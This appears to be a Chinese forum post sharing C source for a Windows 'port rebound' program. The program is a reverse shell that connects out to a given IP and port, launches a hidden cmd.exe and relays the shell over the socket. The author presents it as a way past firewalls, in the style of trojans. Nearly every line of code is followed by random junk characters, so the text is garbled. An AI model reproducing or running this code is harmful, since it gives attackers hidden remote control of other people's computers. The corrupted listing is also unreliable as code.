Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ]5/U}Um  
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/* ============================== ulJ
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Rebound port in Windows NT e]h'  
By wind,2006/7 tb3fz")UC  
===============================*/ d.oFlT  
#include ^iS:mt  
#include ,$$$_+m\  
}4%)m  
#pragma comment(lib,"wsock32.lib") \}NWR{=  
.+h pxZ  
void OutputShell(); Qpf]3  
SOCKET sClient; kH-b!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ped Yf{T  
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void main(int argc,char **argv) y:[]+  
{ %Oqe7Cx>+  
WSADATA stWsaData; ZNeqsN{  
int nRet; \;gt&*$-  
SOCKADDR_IN stSaiClient,stSaiServer; pUGfm  
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if(argc != 3) *?Ef}:]  
{ N)WG~=Gi  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^I?y\:.  
return; REBDr;tv  
} 1G.gPx[  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {`CWz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D
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stSaiClient.sin_family = AF_INET; w8I&:"^7<  
stSaiClient.sin_port = htons(0); |9Ks13?Ck  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dvF48,kr  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 15DK\_;  
{ Hd`p_?3]  
printf("Bind Socket Failed!\n"); u?Mu*r?  
return; $OoN/^
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} }/3pC a  
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stSaiServer.sin_family = AF_INET; z}&C(m:al  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BM~niW;k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^T6!z^g1h  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z>;+'>XXgx  
{ L b;vrh;A  
printf("Connect Error!"); u(WQWsN  
return; >ImM~SR)  
} 1t=X: ]0j  
OutputShell(); aZGDtzNG5h  
} ,GP4I3D  
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void OutputShell() <>Ddxmw  
{ `h5eej&s(  
char szBuff[1024]; L#q9_-(#  
SECURITY_ATTRIBUTES stSecurityAttributes; ?QT"sj64w  
OSVERSIONINFO stOsversionInfo; HTyF<K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~7
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STARTUPINFO stStartupInfo; \+Ln~\Sv  
char *szShell; ]Ja8i%LjOG  
PROCESS_INFORMATION stProcessInformation; w?W e|x3  
unsigned long lBytesRead; :P~& b P  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ilu`b|%D  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RTBBb:eX  
stSecurityAttributes.lpSecurityDescriptor = 0; @Qjl`SL%O^  
stSecurityAttributes.bInheritHandle = TRUE; slv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E816YS='  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?iEXFYJG  
dN/ "1%9)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A-C)w/7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aX'g9E
 
stStartupInfo.wShowWindow = SW_HIDE; [*{\R`M  
stStartupInfo.hStdInput = hReadPipe; |$?Ux,(6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \(U"_NPp  
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GetVersionEx(&stOsversionInfo); PeUd  
j*~dFGl)  
switch(stOsversionInfo.dwPlatformId) OK
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{ rspoSPnY1  
case 1: 3kqV_Pjg  
szShell = "command.com"; xZ=FH>Y6'  
break; 8w8I:*  
default: \i;&@Kp.N  
szShell = "cmd.exe"; 6`baQ!xc.  
break; 6Vbv$ AU  
} }-q`&1!t
 
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V*7Z,nA  
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send(sClient,szMsg,77,0); Pn'(8bRm  
while(1) (GcKaUg8*  
{ ml33qXW:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $:BK{,\  
if(lBytesRead) _[vdY|_  
{ Lr}b,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); syW9Hlm  
send(sClient,szBuff,lBytesRead,0); DkF2R @  
} `KJYm|@i  
else {[t"O u  
{ Z~phOv  
lBytesRead=recv(sClient,szBuff,1024,0); FO(0D?PCR  
if(lBytesRead<=0) break; %6IlE.*,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -Xxu/U})%  
} <\d|=>;  
} $,e?X}4  
DR yESi  
return; PVD ~W)0m*  
}